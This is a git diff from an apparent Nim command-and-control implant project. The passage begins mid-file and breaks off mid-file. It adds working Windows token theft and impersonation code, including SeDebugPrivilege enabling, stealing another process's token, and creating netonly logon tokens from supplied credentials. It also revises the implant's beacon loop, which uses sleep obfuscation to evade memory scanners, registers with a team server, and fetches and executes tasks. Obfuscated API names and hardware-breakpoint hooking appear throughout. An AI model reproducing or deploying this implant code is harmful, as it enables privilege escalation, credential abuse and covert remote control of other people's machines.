protect("NtQueryInformationToken"))) + result.ConvertSidToStringSidA = cast[ConvertSidToStringSidA](GetProcAddress(GetModuleHandleA(protect("advapi32.dll")), protect("ConvertSidToStringSidA"))) + result.NtSetInformationThread = cast[NtSetInformationThread](GetProcAddress(hNtdll, protect("NtSetInformationThread"))) + result.NtDuplicateToken = cast[NtDuplicateToken](GetProcAddress(hNtdll, protect("NtDuplicateToken"))) + result.NtClose = cast[NtClose](GetProcAddress(hNtdll, protect("NtClose"))) + result.NtAdjustPrivilegesToken = cast[NtAdjustPrivilegesToken](GetProcAddress(hNtdll, protect("NtAdjustPrivilegesToken"))) + result.NtOpenProcess = cast[NtOpenProcess](GetProcAddress(hNtdll, protect("NtOpenProcess"))) + +const + CURRENT_PROCESS = cast[HANDLE](-1) + CURRENT_THREAD = cast[HANDLE](-2) + +proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE = + let apis = initApis() + + var + status: NTSTATUS = 0 + hToken: HANDLE + + # https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to + status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken) + if status != STATUS_SUCCESS: + status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + + return hToken + +proc sidToString(apis: Apis, sid: PSID): string = + var stringSid: LPSTR + discard apis.ConvertSidToStringSidA(sid, addr stringSid) + return $stringSid + +proc sidToName(apis: Apis, sid: PSID): string = + var + usernameSize: DWORD = 0 + domainSize: DWORD = 0 + sidType: SID_NAME_USE + + # Retrieve required sizes + discard LookupAccountSidW(NULL, sid, NULL, addr usernameSize, NULL, addr domainSize, addr sidType) + + var username = newWString(int(usernameSize) + 1) + var domain = newWString(int(domainSize) + 1) + if LookupAccountSidW(NULL, sid, username, addr usernameSize, domain, addr domainSize, addr sidType) == TRUE: + return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)] + return "" + +proc privilegeToString(apis: Apis, luid: PLUID): string = + var privSize: DWORD = 0 + + # Retrieve required size + discard LookupPrivilegeNameW(NULL, luid, NULL, addr privSize) + + var privName = newWString(int(privSize) + 1) + if LookupPrivilegeNameW(NULL, luid, privName, addr privSize) == TRUE: + return $privName[0 ..< int(privSize)] + return "" + +#[ + Retrieve and return information about an access token +]# +proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] = + var + status: NTSTATUS = 0 + returnLength: ULONG = 0 + pStats: TOKEN_STATISTICS + + status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + + let + tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation") + tokenId = cast[uint32](pStats.TokenId).toHex() + + return (tokenId, tokenType) + +proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] = + var + status: NTSTATUS = 0 + returnLength: ULONG = 0 + pUser: PTOKEN_USER + + status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength) + if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: + raise newException(CatchableError, status.getNtError()) + + pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength)) + if pUser == NULL: + raise newException(CatchableError, GetLastError().getError()) + defer: LocalFree(cast[HLOCAL](pUser)) + + status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + + return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid)) + +proc getTokenElevation(apis: Apis, hToken: HANDLE): bool = + var + status: NTSTATUS = 0 + returnLength: ULONG = 0 + pElevation: TOKEN_ELEVATION + + status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + + return cast[bool](pElevation.TokenIsElevated) + +proc getTokenGroups(apis: Apis, hToken: HANDLE): string = + var + status: NTSTATUS = 0 + returnLength: ULONG = 0 + pGroups: PTOKEN_GROUPS + + status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength) + if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: + raise newException(CatchableError, status.getNtError()) + + pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength)) + if pGroups == NULL: + raise newException(CatchableError, GetLastError().getError()) + defer: LocalFree(cast[HLOCAL](pGroups)) + + status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + + let + groupCount = pGroups.GroupCount + groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0]) + + result &= fmt"Group memberships ({groupCount})" & "\n" + for i, group in groups.toOpenArray(0, int(groupCount) - 1): + result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n" + +proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string = + var + status: NTSTATUS = 0 + returnLength: ULONG = 0 + pPrivileges: PTOKEN_PRIVILEGES + + status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength) + if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: + raise newException(CatchableError, status.getNtError()) + + pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength)) + if pPrivileges == NULL: + raise newException(CatchableError, GetLastError().getError()) + defer: LocalFree(cast[HLOCAL](pPrivileges)) + + status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + + let + privCount = pPrivileges.PrivilegeCount + privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0]) + + result &= fmt"Privileges ({privCount})" & "\n" + for i, priv in privs.toOpenArray(0, int(privCount) - 1): + let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled" + result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n" + + +proc getTokenInfo*(hToken: HANDLE): string = + let apis = initApis() + + let (tokenId, tokenType) = apis.getTokenStatistics(hToken) + result &= fmt"TokenID: 0x{tokenId}" & "\n" + result &= fmt"Type: {tokenType}" & "\n" + + let (username, sid) = apis.getTokenUser(hToken) + result &= fmt"User: {username}" & "\n" + result &= fmt"SID: {sid}" & "\n" + + let isElevated = apis.getTokenElevation(hToken) + result &= fmt"Elevated: {$isElevated}" & "\n" + + result &= apis.getTokenGroups(hToken ) + result &= apis.getTokenPrivileges(hToken) + +#[ + Impersonate token + - https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281 +]# +proc impersonate*(apis: Apis, hToken: HANDLE) = + var + status: NTSTATUS + qos: SECURITY_QUALITY_OF_SERVICE + oa: OBJECT_ATTRIBUTES + impersonationToken: HANDLE = 0 + returnLength: ULONG = 0 + duplicated: bool = false + + if apis.getTokenStatistics(hToken).tokenType == protect("Primary"): + # Create a duplicate impersonation token + qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE)) + qos.ImpersonationLevel = securityImpersonation + qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING + qos.EffectiveOnly = FALSE + + oa.Length = cast[DWORD](sizeof(OBJECT_ATTRIBUTES)) + oa.RootDirectory = 0 + oa.ObjectName = NULL + oa.Attributes = 0 + oa.SecurityDescriptor = NULL + oa.SecurityQualityOfService = addr qos + + status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + + else: + # Use the original token if it is already an impersonation token + impersonationToken = hToken + + # Impersonate the token in the current thread (ImpersonateLoggedOnUser) + status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE))) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + + defer: discard apis.NtClose(impersonationToken) + +#[ + Revert to original access token + RevertToSelf() API implemented using Native API +]# +proc rev2self*() = + let apis = initApis() + + var + status: NTSTATUS = 0 + hToken: HANDLE = 0 + + status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE))) + + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + +#[ + Create a new access token from a username, password and domain name triplet. + Using LOGON32_LOGON_NEW_CREDENTIALS creates a netonly security context (same as using runas.exe /netonly) + This means that nothing changes locally, the user returned by "getTokenOwner" is the same as the current user. + In the network, we are represented by the credentials of the user we created the token for, allowing us to inject Kerberos tickets, etc. to impersonate that user. + The LOGON32_LOGON_NEW_CREDENTIALS logon type does not validate credentials. + + Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types) + changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function. +]# +proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): string = + let apis = initApis() + + if username == "" or password == "" or domain == "": + raise newException(CatchableError, protect("Invalid format.")) + + rev2self() + + var hToken: HANDLE + let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT + if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE: + raise newException(CatchableError, GetLastError().getError()) + defer: discard apis.NtClose(hToken) + + apis.impersonate(hToken) + + return apis.getTokenUser(hToken).username + +proc enablePrivilege*(privilegeName: string, enable: bool = true): string = + let apis = initApis() + + var + status: NTSTATUS = 0 + tokenPrivs: TOKEN_PRIVILEGES + oldTokenPrivs: TOKEN_PRIVILEGES + luid: LUID + returnLength: DWORD + + let hToken = getCurrentToken(TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY) + defer: discard apis.NtClose(hToken) + + if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE: + raise newException(CatchableError,GetLastError().getError()) + + # Enable privilege + tokenPrivs.PrivilegeCount = 1 + tokenPrivs.Privileges[0].Luid = luid + tokenPrivs.Privileges[0].Attributes = if enable: SE_PRIVILEGE_ENABLED else: 0 + + status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + + let action = if enable: protect("Enabled") else: protect("Disabled") + return fmt"{action} {apis.privilegeToString(addr luid)}." + +#[ + Steal the access token of a remote process and impersonate it + This requires SYSTEM privileges to work reliably. Even running as a regular Administrator user might not be sufficient to steal access tokens of other processes + A work-around is to impersonate NT AUTHORITY\SYSTEM first by stealing the token of a process like winlogon.exe, and then using this token to steal other user's tokens +]# +proc stealToken*(pid: int): string = + let apis = initApis() + + var + status: NTSTATUS + hProcess: HANDLE + hToken: HANDLE + clientId: CLIENT_ID + oa: OBJECT_ATTRIBUTES + + # Enable the SeDebugPrivilege in the current token + # This privilege is required in order to duplicate and impersonate the access token of a remote process + discard enablePrivilege(protect("SeDebugPrivilege")) + + InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL) + clientId.UniqueProcess = cast[HANDLE](pid) + clientId.UniqueThread = 0 + + # Open a handle to the target process + status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + defer: discard apis.NtClose(hProcess) + + # Open a handle to the primary access token of the target process + status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken) + if status != STATUS_SUCCESS: + raise newException(CatchableError, status.getNtError()) + defer: discard apis.NtClose(hToken) + + apis.impersonate(hToken) + + return apis.getTokenUser(hToken).username \ No newline at end of file diff --git a/src/agent/main.nim b/src/agent/main.nim index b9b7d0e..1c06344 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -1,56 +1,69 @@ -import strformat, os, times, system, base64 - -import core/[http, context, sleepmask] +import times, system, random, strformat +import core/[http, context, sleepmask, exit] +import utils/io import protocol/[task, result, heartbeat, registration] import ../common/[types, utils, crypto] proc main() = + randomize() # Initialize agent context var ctx = AgentCtx.init() if ctx == nil: quit(0) - # Create registration payload - var registration: AgentRegistrationData = ctx.collectAgentMetadata() - let registrationBytes = ctx.serializeRegistrationData(registration) - - if not ctx.httpPost(registrationBytes): - echo "[-] Agent registration failed." - quit(0) - echo fmt"[+] [{ctx.agentId}] Agent registered." - #[ Agent routine: - 1. Sleep Obfuscation - 2. Retrieve task from /tasks endpoint - 3. Execute task and post result to /results - 4. If additional tasks have been fetched, go to 2. - 5. If no more tasks need to be executed, go to 1. + 1. Sleep obfuscation + 2. Check kill date + 3. Register to the team server if not already connected + 4. Retrieve tasks via checkin request to a GET endpoint + 5. Execute task and post result + 6. If additional tasks have been fetched, go to 3. + 7. If no more tasks need to be executed, go to 1. ]# while true: - # Sleep obfuscation to evade memory scanners - sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack) - - let date: string = now().format("dd-MM-yyyy HH:mm:ss") - echo "\n", fmt"[*] [{date}] Checking in." - try: + # Sleep obfuscation to evade memory scanners + sleepObfuscate(ctx.sleepSettings) + + # Check kill date and exit the agent process if it is reached + if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate: + print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)." + print "[*] Exiting." + exit() + + # Register + if not ctx.registered: + # Create registration payload + var registration: Registration = ctx.collectAgentMetadata() + let registrationBytes = ctx.serializeRegistrationData(registration) + + if ctx.httpPost(registrationBytes): + print fmt"[+] [{ctx.agentId}] Agent registered." + ctx.registered = true + else: + print "[-] Agent registration failed." + continue + + let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss")) + print "\n", fmt"[*] [{date}] Checking in." + # Retrieve task queue for the current agent by sending a check-in/heartbeat request - # The check-in request contains the agentId, listenerId, so the server knows which tasks to return + # The check-in request contains the agentId and listenerId, so the server knows which tasks to return var heartbeat: Heartbeat = ctx.createHeartbeat() let heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat) packet: string = ctx.httpGet(heartbeatBytes) if packet.len <= 0: - echo "[*] No tasks to execute." + print "[*] No tasks to execute." continue let tasks: seq[Task] = ctx.deserializePacket(packet) if tasks.len <= 0: - echo "[*] No tasks to execute." + print "[*] No tasks to execute." continue # Execute all retrieved tasks and return their output to the server @@ -61,7 +74,7 @@ proc main() = ctx.httpPost(resultBytes) except CatchableError as err: - echo "[-] ", err.msg + print "[-] ", err.msg when isMainModule: main() \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 4124d00..b673c34 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,6 +3,7 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" --d:MODULES="12" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:MODULES="511" +-d:VERBOSE="true" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/agent/protocol/heartbeat.nim b/src/agent/protocol/heartbeat.nim index 51928c4..0e03248 100644 --- a/src/agent/protocol/heartbeat.nim +++ b/src/agent/protocol/heartbeat.nim @@ -1,5 +1,5 @@ import times, zippy -import ../../common/[types, serialize, sequence, utils, crypto] +import ../../common/[types, serialize, utils, crypto] proc createHeartbeat*(ctx: AgentCtx): Heartbeat = return Heartbeat( diff --git a/src/agent/protocol/registration.nim b/src/agent/protocol/registration.nim index 31aa984..c9db43b 100644 --- a/src/agent/protocol/registration.nim +++ b/src/agent/protocol/registration.nim @@ -1,4 +1,4 @@ -import winim, os, net, strformat, strutils, registry, zippy +import winim, os, net, strutils, registry, zippy import ../../common/[types, serialize, sequence, crypto, utils] import ../../modules/manager @@ -20,7 +20,7 @@ proc getDomain(): string = dwSize = DWORD buffer.len GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize) - return $buffer[ 0 ..< int(dwSize)] + return $buffer[0 ..< int(dwSize)] # Username proc getUsername(): string = @@ -33,11 +33,12 @@ proc getUsername(): string = if getDomain() != "": # If domain-joined, return username in format DOMAIN\USERNAME GetUserNameExW(NameSamCompatible, &buffer, &dwSize) + return $buffer[0 ..< int(dwSize)] else: # If not domain-joined, only return USERNAME discard GetUsernameW(&buffer, &dwSize) + return $buffer[0 ..< int(dwSize) - 1] - return $buffer[0 ..< int(dwSize) - 1] # Current process name proc getProcessExe(): string = @@ -50,7 +51,7 @@ proc getProcessExe(): string = if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH): # .extractFilename() from the 'os' module gets the name of the executable from the full process path # We replace trailing NULL bytes to prevent them from being sent as JSON data - return string($buffer).extractFilename().replace("\u0000", "") + return ($buffer).extractFilename().replace("\u0000", "") finally: CloseHandle(hProcess) @@ -164,11 +165,11 @@ proc getProductType(): ProductType = # Using the 'registry' module, we can get the exact registry value case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE) - of "WinNT": + of protect("WinNT"): return WORKSTATION - of "ServerNT": + of protect("ServerNT"): return SERVER - of "LanmanNT": + of protect("LanmanNT"): return DC proc getOSVersion(): string = @@ -193,9 +194,9 @@ proc getOSVersion(): string = else: return protect("Unknown") -proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData = +proc collectAgentMetadata*(ctx: AgentCtx): Registration = - return AgentRegistrationData( + return Registration( header: Header( magic: MAGIC, version: VERSION, @@ -218,12 +219,13 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData = process: string.toBytes(getProcessExe()), pid: cast[uint32](getProcessId()), isElevated: cast[uint8](isElevated()), - sleep: cast[uint32](ctx.sleep), + sleep: cast[uint32](ctx.sleepSettings.sleepDelay), + jitter: cast[uint32](ctx.sleepSettings.jitter), modules: cast[uint32](MODULES) ) ) -proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): seq[byte] = +proc serializeRegistrationData*(ctx: AgentCtx, data: var Registration): seq[byte] = var packer = Packer.init() @@ -239,6 +241,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData): .add(data.metadata.pid) .add(data.metadata.isElevated) .add(data.metadata.sleep) + .add(data.metadata.jitter) .add(data.metadata.modules) let metadata = packer.pack() diff --git a/src/agent/protocol/task.nim b/src/agent/protocol/task.nim index bb032fb..506146d 100644 --- a/src/agent/protocol/task.nim +++ b/src/agent/protocol/task.nim @@ -1,6 +1,6 @@ -import strutils, tables, json, strformat, zippy - +import zippy, strformat import ./result +import ../utils/io import ../../modules/manager import ../../common/[types, serialize, sequence, crypto, utils] @@ -61,7 +61,7 @@ proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] = var unpacker = Unpacker.init(packet) var taskCount = unpacker.getUint8() - echo fmt"[*] Response contained {taskCount} tasks." + print fmt"[*] Response contained {taskCount} tasks." if taskCount <= 0: return @[] diff --git a/src/agent/core/beacon.nim b/src/agent/utils/beacon.nim similarity index 100% rename from src/agent/core/beacon.nim rename to src/agent/utils/beacon.nim diff --git a/src/agent/core/cfg.nim b/src/agent/utils/cfg.nim similarity index 100% rename from src/agent/core/cfg.nim rename to src/agent/utils/cfg.nim diff --git a/src/agent/core/hwbp.nim b/src/agent/utils/hwbp.nim similarity index 95% rename from src/agent/core/hwbp.nim rename to src/agent/utils/hwbp.nim index 3a4e548..bc94d40 100644 --- a/src/agent/core/hwbp.nim +++ b/src/agent/utils/hwbp.nim @@ -1,5 +1,5 @@ import winim/lean -import ../../common/utils +import ./io # From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim @@ -33,8 +33,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - echo protect("[!] GetThreadContext Failed: "), GetLastError() - return false + raise newException(CatchableError, GetLastError().getError()) case drx: of Dr0: @@ -59,8 +58,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1) if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - echo protect("[!] SetThreadContext Failed: "), GetLastError() - return false + raise newException(CatchableError, GetLastError().getError()) return true @@ -69,8 +67,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool = threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - echo protect("[!] GetThreadContext Failed: "), GetLastError() - return false + raise newException(CatchableError, GetLastError().getError()) # Remove the address of the hooked function from the thread context case drx: @@ -87,8 +84,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool = threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0) if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: - echo protect("[!] SetThreadContext Failed"), GetLastError() - return false + raise newException(CatchableError, GetLastError().getError()) return true @@ -196,7 +192,7 @@ proc initializeHardwareBPVariables*(): bool = # Add 'VectorHandler' as the VEH g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler)) if cast[int](g_VectorHandler) == 0: - echo protect("[!] AddVectoredExceptionHandler Failed") + raise newException(CatchableError, GetLastError().getError()) return false if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0: diff --git a/src/agent/utils/io.nim b/src/agent/utils/io.nim new file mode 100644 index 0000000..20c01f4 --- /dev/null +++ b/src/agent/utils/io.nim @@ -0,0 +1,31 @@ +import winim/lean +import macros +import strutils, strformat +import ../../common/utils + +const VERBOSE* {.booldefine.} = false + +type + RtlNtStatusToDosError = proc(status: NTSTATUS): DWORD {.stdcall.} + +# Only print to console when VERBOSE mode is enabled +template print*(args: varargs[untyped]): untyped = + when defined(VERBOSE) and VERBOSE == true: + echo args + else: + discard + +# Convert Windows API error to readable value +# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage +proc getError*(errorCode: DWORD): string = + var msg = newWString(512) + FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_IGNORE_INSERTS, NULL, errorCode, 